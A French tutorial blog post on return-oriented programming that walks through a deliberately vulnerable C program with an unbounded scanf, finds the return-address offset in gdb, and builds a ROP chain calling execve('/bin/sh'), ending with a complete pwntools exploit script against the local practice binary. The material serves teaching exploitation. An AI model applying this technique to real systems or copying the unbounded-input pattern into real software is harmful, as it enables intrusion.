Freelance Pentester & Bug Bounty Hunter
Posted on: Aug. 15, 2018, noon
Time to read: 7 min read
Maintenant que vous savez mieux ce qu'est le ROP, nous allons passer à la pratique. Nous allons exploiter ce binaire :
#include <stdio.h>
#include ;
int main(int argc, char* argv[])
{
char buffer[64];
printf("Entrer un message: ");
scanf("%s",buffer);
printf("buffer: %s\n",buffer);
return 0;
}
Pour compiler ce binaire nous allons utiliser la commande suivante : gcc vuln.c -o vuln -no-pie -static le -no-pie empêche les adresses du code d’être aléatoires, seules les adresses des bibliothèques, de la stack et du heap seront soumis à l'ASLR et nous utilisons -static pour que notre binaire soit plus gros car il contient très peu de code source. Un vrai programme serait assez gros pour contenir assez de code permettant de faire du ROP et nous n'aurions pas besoin d'inclure statiquement la libc. Si vous voulez avoir les même adresse que moi et ne pas avoir a chercher les gadgets vous même,voici la version que j'ai utilisé pour faire cette article : binaire (md5 : cd6c41510519efba2c60d6c36cf94987 ). Ce binaire est vulnérable a un buffer overflow sur la fonction scanf celle ci devrait être scanf("%64s",buffer); pour limiter le nombre de caractère envoyés au buffer. Tout d'abord nous allons faire comme d'habitude, lancer le binaire sous gdb, lui envoyer un pattern ( crée à l'aide de "pattern create 100" sous gdb-peda ) et l'envoyer dans le buffer... A l'aide de "pattern offset" nous trouvons que l'adresse de retour est écrasée à 72 caractères. Il nous suffira donc d'envoyer 72 caractères "A" suivi de notre "ropchain". Pour retrouver des gadgets a utiliser dans notre "ropchain" nous pouvons utiliser ROPGadget ou ropper Notre "ropchain" consistera a lancer le binaire /bin/sh pour obtenir un shell. Nous ferons ça comme si nous programmions le shellcode en assembleur, nous devons donc appeler l'instruction syscall avec RAX a 59 pour le syscall execve, l'adresse de la chaîne /bin/sh dans RDI ainsi que deux chaînes NULL dans RSI et RDX (vous pouvez le vérifier ici : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ ). Nous allons donc écrire la chaîne de caractère /bin/sh a une adresse connue, celle de la section data par exemple : la ropchain suivante :
# Tout d'abord nous mettons l'adresse de data dans rsi
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e0) # @ .data
# ensuite nous mettons la chaine //bin/sh dans RAX
payload += p64(0x43613c) # pop rax ; ret
payload += '//bin/sh'
# enfin nous écrivons le contenu de RAX dans à l'adresse contenue dans RSI
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
# ensuite nous mettons NULL a l'adresse data+8 car "//bin/sh" fait 8 caractères
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x431580) # xor rax, rax ; ret
# nous utilisons la même méthode que pour mettre la chaîne //bin/sh
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
Il nous reste plus qu'a mettre les bonnes valeurs dans les registres
# l'adresse de data contenant la chaîne /bin/sh dans RDI
payload += p64(0x400676) # pop rdi ; ret
payload += p64(0x6b40e0) # @ .data
# l'adresse de data+8 contenant le NULL qui termine la chaîne /bin/sh dans RSI
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
# La même chose dans RDX
payload += p64(0x437f05) # pop rdx ; ret
payload += p64(0x6b40e8) # @ .data + 8
# Et la valeur 59 dans le registre EAX pour le syscall sys_execve
payload += p64(0x43613c) # pop rax ; ret
payload += p64(59) # 59 = execve
Maintenant nous allons utiliser un gadget appelant syscall : payload += p64(0x462975) # syscall ; ret Il nous reste plus qu'a envoyer le padding de 72 caractères puis la ropchain pour récupérer un shell. Voici le code complet de l'exploit :
#!/usr/bin/env python
# coding:utf-8
from pwn import *
p = process('./vuln')
payload = 'A'*72 # padding pour écraser l'adresse de retour
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e0) # @ .data
payload += p64(0x43613c) # pop rax ; ret
payload += '//bin/sh'
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x431580) # xor rax, rax ; ret
payload += p64(0x46c061) # mov qword ptr [rsi], rax ; ret
payload += p64(0x400676) # pop rdi ; ret
payload += p64(0x6b40e0) # @ .data
payload += p64(0x401817) # pop rsi ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x437f05) # pop rdx ; ret
payload += p64(0x6b40e8) # @ .data + 8
payload += p64(0x43613c) # pop rax ; ret
payload += p64(59) # 59 = execve
payload += p64(0x462975) # syscall ; ret
p.sendline(payload)
p.interactive()
Nous lançons l'exploit et nous avons un shell ! J’espère que cet article vous aura plus, n’hésitez pas à commenter ou me contacter si vous avez des questions, idées d'article ou autre , merci !